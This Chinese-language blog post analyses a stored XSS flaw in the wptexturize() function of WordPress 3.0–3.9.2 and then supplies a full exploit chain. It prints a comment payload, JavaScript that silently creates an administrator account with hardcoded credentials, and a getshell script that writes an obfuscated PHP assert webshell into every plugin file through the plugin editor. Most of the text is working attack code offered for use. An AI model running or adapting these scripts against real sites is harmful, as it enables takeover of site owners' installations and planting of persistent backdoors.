前面发布了wordpress的xss漏洞,下面是详细的分析:

这个漏洞出现在/wp-includes/formatting.php中的wptexturize()函数中

当我们在wordpress留言后,留言首先会被分成多个片段来处理,功能就是由这个函数完成的。

$no_texturize_shortcodes = '(' . implode( '|', apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes ) ) . ')'; $no_texturize_tags_stack = array(); $no_texturize_shortcodes_stack = array(); $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);//问题出在这 foreach ( $textarr as &$curl ) { // ... } return implode( '', $textarr );

 

/(<.*>|\[.*\])/Us这个正则表达式将匹配[]和<>中的所有内容,但是是以懒惰模式匹配的,也就是匹配到离左边的方括号最近的右方括号。通过这个正则匹配后,留言会被分成若干个片段。如下图:

WordPress 3.0-3.92 存储型XSS添加管理员&getshell脚本-老D

wordpress中方括号内的内容将不做转义,所以如果我们在方括号中加入尖括号并插入恶意脚本,将会造成XSS。

poc:

[<a href="xxx" title="]"></a>[" <!-- onmouseover=alert(/xss/)//><!-- -->XSS<a></a>]

增加管理员的js脚本:

var a = location.href.split('/'); var xurl = location.href.replace(a[a.length-1],"user-new.php"); jQuery.ajax({ url: xurl, type: 'GET', dataType: 'html', data: {}, }) .done(function(data) { var temp = jQuery(data); var Xtoken = ""; temp.find('input#_wpnonce_create-user').each(function(i,o){ var o=jQuery(o); Xtoken=o.attr('value'); }); jQuery.ajax({ url: xurl, type: 'POST', data: {'action': 'createuser','_wpnonce_create-user':Xtoken,'user_login':'0x_Jin','email':[email protected]','first_name':'0x_Jin','last_name':'0x_Jin','url':'www.xss1.com','pass1':'fuckxssQ','pass2':'fuckxssQ','role':'administrator','createuser':'Add+New+User+'} }) .done(function(){ console.log('ok'); return; }) }) .fail(function() { console.log("error"); }) .always(function() { return; });

会添加一个管理员

账号:0x_Jin

密码:fuckxssQ

getshell的脚本:

/* 0x_Jin WordPress Getshell */ var a = location.href.split('/'); var file = ""; var xurl = location.href.replace(a[a.length-1],"plugin-editor.php"); var file2 = []; var StartGetshell = 0; var shellcode = '<?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);'; jQuery.ajax({ url: xurl, type: 'GET', dataType: 'html', data: {}, }) .done(function(data) { var temp = jQuery(data); var Xtoken = ""; var Tmpcode = ""; temp.find('input#_wpnonce').each(function(i,o){ var o=jQuery(o); Xtoken=o.attr('value'); }); temp.find('textarea#newcontent').each(function(i,o){ var o=jQuery(o); Tmpcode = o.text().replace('<?php',shellcode); }) temp.find('div.alignleft big strong').each(function(i,o){ var o=jQuery(o); file = o.text(); }) temp.find('select#plugin option').each(function(i,o){ var o=jQuery(o); file2.push(o.attr('value')); }) if(Xtoken&&Tmpcode&&file){ jQuery.ajax({ url: xurl, type: 'POST', data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'} }) .done(function(){ var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file)); return; }) } if(StartGetshell){ for(var i=0;i<file2.length;i++){ var filename = file2[i]; if(file2[i]!=file){ jQuery.ajax({ url: xurl, type: 'POST', data: {'plugin': file2[i],'Submit':'Select'}, }) .done(function(data) { var NewCode = ""; var NewToken= ""; var Getshell=jQuery(data); Getshell.find("textarea#newcontent").each(function(i,o){ var o=jQuery(o); NewCode = o.text().replace('<?php',shellcode); }) Getshell.find("input#_wpnonce").each(function(i,o){ var o=jQuery(o); NewToken = o.attr('value'); }) if(NewCode&&NewToken){ console.log("1"+filename); jQuery.ajax({ url: xurl, type: 'POST', data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'} }) .done(function(){ var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename)); return; }) } }) } } } }) .fail(function() { console.log("error"); }) .always(function() { return; });

可getshell

WordPress 3.0-3.92 存储型XSS添加管理员&getshell脚本-老D

getshell

WordPress 3.0-3.92 存储型XSS添加管理员&getshell脚本-老D

getshell

直到此处,这个wordpress少见的过滤不严导致的存储型xss的细节分析和利用才算完整的展现在大家眼前。欢迎各位机友指正讨论,并进一步深挖。